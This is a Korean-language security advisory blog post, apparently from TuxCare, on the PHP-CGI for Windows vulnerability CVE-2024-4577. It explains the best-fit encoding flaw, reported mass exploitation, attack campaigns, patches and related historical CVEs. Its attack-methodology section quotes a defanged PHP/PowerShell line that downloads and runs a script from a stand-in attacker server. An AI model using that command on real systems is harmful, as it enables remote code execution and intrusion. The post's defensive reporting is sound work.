소개
Windows용 PHP의 심각한 취약점(CVE-2024-4577)은 2024년 6월에 공개된 이후 심각한 사이버 보안 문제가 되고 있습니다. CVSS 점수가 9.8점인 이 심각도가 높은 원격 코드 실행 취약점은 Windows 시스템의 모든 PHP 버전에 영향을 미칩니다. 이 취약점이 특히 우려되는 이유는 그 심각성뿐만 아니라 2025년 1월부터 위협 인텔리전스 회사들이 관찰한 광범위한 악용 사례 때문입니다.
Windows에서 PHP용 CVE-2024-4577에 대한 수정은 TuxCare의 PHP 무한 수명 주기 지원 서비스를 통해 제공됩니다. 이제 Windows는 PHP ELS가 지원되는 플랫폼입니다.
이 문서에서는 CVE-2024-4577의 작동 방식, 악용되는 방식, 조직이 스스로를 보호하기 위해 취할 수 있는 조치에 대해 자세히 살펴봅니다. 이전 글에서 이미 이 특정 취약점에 대해 이전 글에서 이 특정 취약점에 대해에서 이미 이 취약점에 대해 설명했지만, '야생에서의 익스플로잇'이라는 요소로 인해 다시 한 번 관련성이 높아졌습니다.
기술 심층 분석: 취약점 이해
CVE-2024-4577은 CGI 구성을 사용하는 Windows 기반 PHP 설치에 영향을 미치는 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 Windows에서 PHP의 구현이 Windows 코드 페이지의 "최적 적합" 동작을 제대로 고려하지 않았기 때문에 존재합니다.
"최적의" 동작 메커니즘
이 취약점의 핵심은 "최적 맞춤"으로 알려진 Windows 전용 인코딩 변환 기능입니다. 이 기능은 대상 코드 페이지에서 정확한 문자를 표현할 수 없는 경우 유니코드 문자를 가장 가까운 일치하는 ANSI 문자로 변환하는 방법을 제어합니다.
Windows는 명령줄 인수에 대해 이 변환을 수행합니다:
- 대상 코드 페이지에서 직접 표현할 수 없는 문자는 비슷한 모양의 문자로 대체됩니다.
- 이러한 교체는 Windows에 내장된 "가장 적합한" 매핑 테이블을 따릅니다.
- 그러면 PHP-CGI 모듈은 이러한 변환된 문자를 PHP 명령줄 옵션으로 잘못 해석합니다.
이 동작은 특수하게 조작된 입력이 PHP가 옵션으로 처리하는 명령줄 인수로 변환될 수 있는 위험한 상황을 만듭니다.
이 취약점이 위험한 이유
이 취약점은 10년 전에 발생한 취약점(CVE-2012-1823)에 대해 구현된 보호 기능을 우회하기 때문에 특히 교활합니다. 이 취약점은 php-cgi 모듈이 쿼리 문자열 매개 변수를 명령줄 인수로 처리하는 유사한 문제였기 때문입니다.
특정 언어 환경에서는 이 문제가 더욱 심각해집니다:
- 중국어 번체(코드 페이지 950)
- 중국어 간체(코드 페이지 936)
- 일본어(코드 페이지 932)
그러나 연구자들은 영어, 한국어, 서유럽 등 다른 로케일에 대한 익스플로잇 시나리오를 완전히 열거할 수 없기 때문에 이 취약점이 Windows의 광범위한 PHP 배포에 잠재적인 위협이 될 수 있다고 경고했습니다.
야생에서의 착취
보안 회사들은 2025년 1월부터 CVE-2024-4577의 대량 악용을 관찰했습니다. 그레이노이즈에 따르면, '글로벌 관찰 그리드'는 2025년 1월에만 이 취약점을 악용하려는 1,089개의 고유 IP 주소를 탐지했습니다. 또한 현재 이 취약점을 노리는 익스플로잇이 79개나 공개되어 있습니다.
공격 방법론
위협 행위자는 일반적으로 다음 단계를 통해 이 취약점을 악용합니다:
- 초기 액세스: 공격자는 파이썬 스크립트(예: "PHP-CGI_CVE-2024-4577_RCE.py")를 사용하여 특별히 조작된 POST 요청을 전송함으로써 대상 URL이 취약한지 확인합니다.
- 코드 실행: 익스플로잇에 성공하면 공격자는 PHP 코드에 내장된 PowerShell 명령을 실행합니다:
<?php system (‘powershell -c “Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\’http[://]attacker-server[:]port/payload[.]ps1\’)”‘);?>
- 페이로드 전송: PowerShell 스크립트는 종종 Cobalt Strike 셸코드가 포함된 2단계 페이로드를 다운로드하고 실행합니다.
- 익스플로잇 후: 시스템 내부에 침입한 공격자:
- 쥬시포테이토, 로튼포테이토, 스위트포테이토 같은 도구를 사용하여 권한을 높이세요.
- 레지스트리 수정, 예약된 작업 및 악성 서비스를 통해 지속성 확립
- 이벤트 로그를 삭제하여 흔적을 감추기
- 측면 이동에 대한 네트워크 정찰 수행
- Mimikatz와 같은 도구를 사용하여 자격 증명 추출하기
주목할 만한 공격 캠페인
보안 연구원들은 몇 가지 조직적인 공격 캠페인을 확인했습니다:
- 일본 조직 타겟팅: 시스코 탈로스는 주로 교육, 엔터테인먼트, 전자상거래, 기술, 통신 등 다양한 분야의 일본 조직을 표적으로 삼은 공격을 문서화했습니다. 공격자들은 익스플로잇 후 활동에 코발트 스트라이크 키트 '타오우'를 사용했습니다.
- 글로벌 착취 캠페인: 그레이노이즈는 익스플로잇 활동이 일본을 넘어 미국, 영국, 싱가포르, 인도네시아, 대만, 홍콩, 인도, 스페인, 말레이시아에서 눈에 띄게 급증하는 등 전 세계로 확대되고 있다고 보고했습니다. 공격 IP의 43% 이상이 독일과 중국에서 발생했습니다.
이 취약점으로 인해 다른 취약점이 발생하는 이유
CVE-2024-4577은 다른 취약점을 더욱 위험하게 만들 수 있기 때문에 특히 우려되는 취약점입니다. 이는 몇 가지 요인에 기인합니다:
- 연쇄 반응 효과: 익스플로잇에 성공하면 공격자는 직접 코드를 실행할 수 있는 기능을 갖게 되며, 이를 통해 이전에는 불가능했던 로컬 액세스가 필요한 취약점을 익스플로잇하는 데 사용할 수 있습니다.
- 권한 에스컬레이션 인에이블러: 공격자는 시스템 내부에 권한 에스컬레이션 도구를 배포하여 심각도가 낮은 취약점을 심각한 취약점으로 전환할 수 있습니다.
- 지속성 메커니즘: 이 취약점을 통해 공격자는 지속성을 확보하여 향후 나타날 수 있는 취약점을 악용할 수 있는 기회를 만들 수 있습니다.
- 이전 완화 조치 우회: 이 취약점은 특히 CVE-2012-1823에 대한 완화 조치를 우회하여 인코딩 변환 문제가 어떻게 보안 조치를 약화시킬 수 있는지를 강조합니다. 취약점이 어떻게 점수화되고 분류되는지 더 깊이 이해하려면 CVSS와 CVE의 차이점을 살펴보는 것이 도움이 됩니다.
완화 조치 및 권장 사항
Windows 시스템에서 PHP를 실행하는 조직은 즉시 다음 단계를 수행해야 합니다:
- PHP 업데이트: 패치된 버전으로 업데이트합니다:
- PHP 8.1.29
- PHP 8.2.20
- PHP 8.3.8
- 대체 배포 모델: PHP-FPM과 같이 CGI가 아닌 다른 서버 모델과 함께 PHP를 사용하는 것을 고려하세요.
- 웹 애플리케이션 방화벽(WAF): CVE-2024-4577의 익스플로잇 시도를 탐지하고 차단할 수 있는 WAF를 배포합니다.
- 시스템 모니터링: 강력한 로깅 및 모니터링을 구현하여 익스플로잇 후 활동을 탐지합니다.
- 네트워크 세분화: 적절한 네트워크 세분화를 구현하여 측면 이동 가능성을 제한합니다.
- 정기 보안 감사: 정기적인 보안 평가를 실시하여 잠재적인 취약점을 파악하고 해결합니다.
역사적 맥락: 유사한 인코딩 변환 취약점
인코딩 변환 메커니즘을 악용하는 취약점은 CVE-2024-4577이 처음이 아닙니다. 몇 가지 주목할 만한 사례는 이러한 메커니즘이 어떻게 보안 취약점이 되었는지를 보여줍니다:
이전 PHP 관련 인코딩 취약점
- CVE-2010-4645: 공격자가 입력 필터링을 우회할 수 있도록 하는 PHP의 다중 바이트 문자 집합 처리 취약점. 베스트핏 동작을 직접적으로 악용하지는 않지만 문자 인코딩 문제가 어떻게 보안 문제로 이어질 수 있는지 보여주었습니다.
- CVE-2015-2348: PHP의 이 취약점은 공격자가 유니코드 변환 문제를 악용하여 임의의 쿼리 매개 변수를 삽입할 수 있도록 허용했습니다. CVE-2024-4577과 마찬가지로, 변환 후 문자를 잘못 해석하는 문제가 있었습니다.
더 광범위한 Windows 인코딩 문제
- CVE-2016-3238: 유니코드 문자 매핑을 통해 권한 상승을 허용하는 Windows의 취약점. 공격자는 특정 유니코드 문자가 포함된 이름을 가진 특수하게 조작된 파일을 사용할 수 있으며, 이 파일은 변환 시 다른 Windows 구성 요소에서 다르게 해석됩니다.
- CVE-2019-1388: 주로 UI 스푸핑 취약점이지만, 이 익스플로잇은 Windows가 인증서 대화 상자에서 유니코드 문자를 처리하는 방식을 활용하여 인코딩 변환이 시스템 구성 요소에 혼란을 줄 수 있음을 보여주었습니다.
- CVE-2020-0687: 유니코드 문자의 부적절한 처리와 관련된 Windows의 원격 코드 실행 취약점으로, 사용자가 특수하게 조작된 문서를 볼 경우 공격자가 코드를 실행할 수 있습니다.
웹 애플리케이션 프레임워크 취약점
- CVE-2020-10735: 유니코드 문자 처리와 관련된 파이썬의 서비스 거부 취약점. 공격자는 파이썬이 서로 다른 유니코드 표현을 변환하는 방식을 악용하여 과도한 CPU 소비를 유발할 수 있습니다.
- CVE-2021-42574: 여러 프로그래밍 언어에 영향을 미치는 "트로이 목마 소스" 취약점. 이 취약점은 유니코드 양방향(BiDi) 제어 문자를 악용하여 실제로 실행되는 것과 다르게 보이는 소스 코드를 생성했습니다.
이러한 과거 취약점은 인코딩 변환 메커니즘이 다양한 플랫폼과 언어에 걸쳐 지속적인 보안 과제임을 보여줍니다. CVE-2024-4577에서 악용된 최적 적합 동작은 명령줄 해석에 직접적인 영향을 미쳐 공격자에게 직접적인 코드 실행 기능을 제공할 수 있기 때문에 특히 위험한 변종에 해당합니다.
최종 생각
CVE-2024-4577은 Windows 서버에서 PHP를 실행하는 조직에 심각한 위협이 될 수 있습니다. 이 취약점은 다른 취약점을 활성화하는 능력과 결합하여 야생에서 악용될 수 있기 때문에 특히 위험합니다.
보안팀은 이 취약점을 패치하고 적절한 완화 조치를 구현하는 데 우선순위를 두어야 합니다. 또한 이 취약점은 인코딩 변환 메커니즘이 기존 보호 기능을 우회하는 미묘한 보안 결함을 유발할 수 있다는 점을 상기시켜 다양한 언어 환경과 코드 페이지에 대한 포괄적인 보안 테스트의 필요성을 강조하는 중요한 역할을 합니다.
CVE-2024-4577의 메커니즘과 현재 익스플로잇 환경을 이해함으로써 조직은 이 중대한 위협으로부터 자신을 더 잘 보호할 수 있습니다.
출처:
https://www.securityweek.com/mass-exploitation-of-critical-php-vulnerability-begins/
https://www.securityweek.com/php-patches-critical-remote-code-execution-vulnerability/
https://blog.talosintelligence.com/new-persistent-attacks-japan/

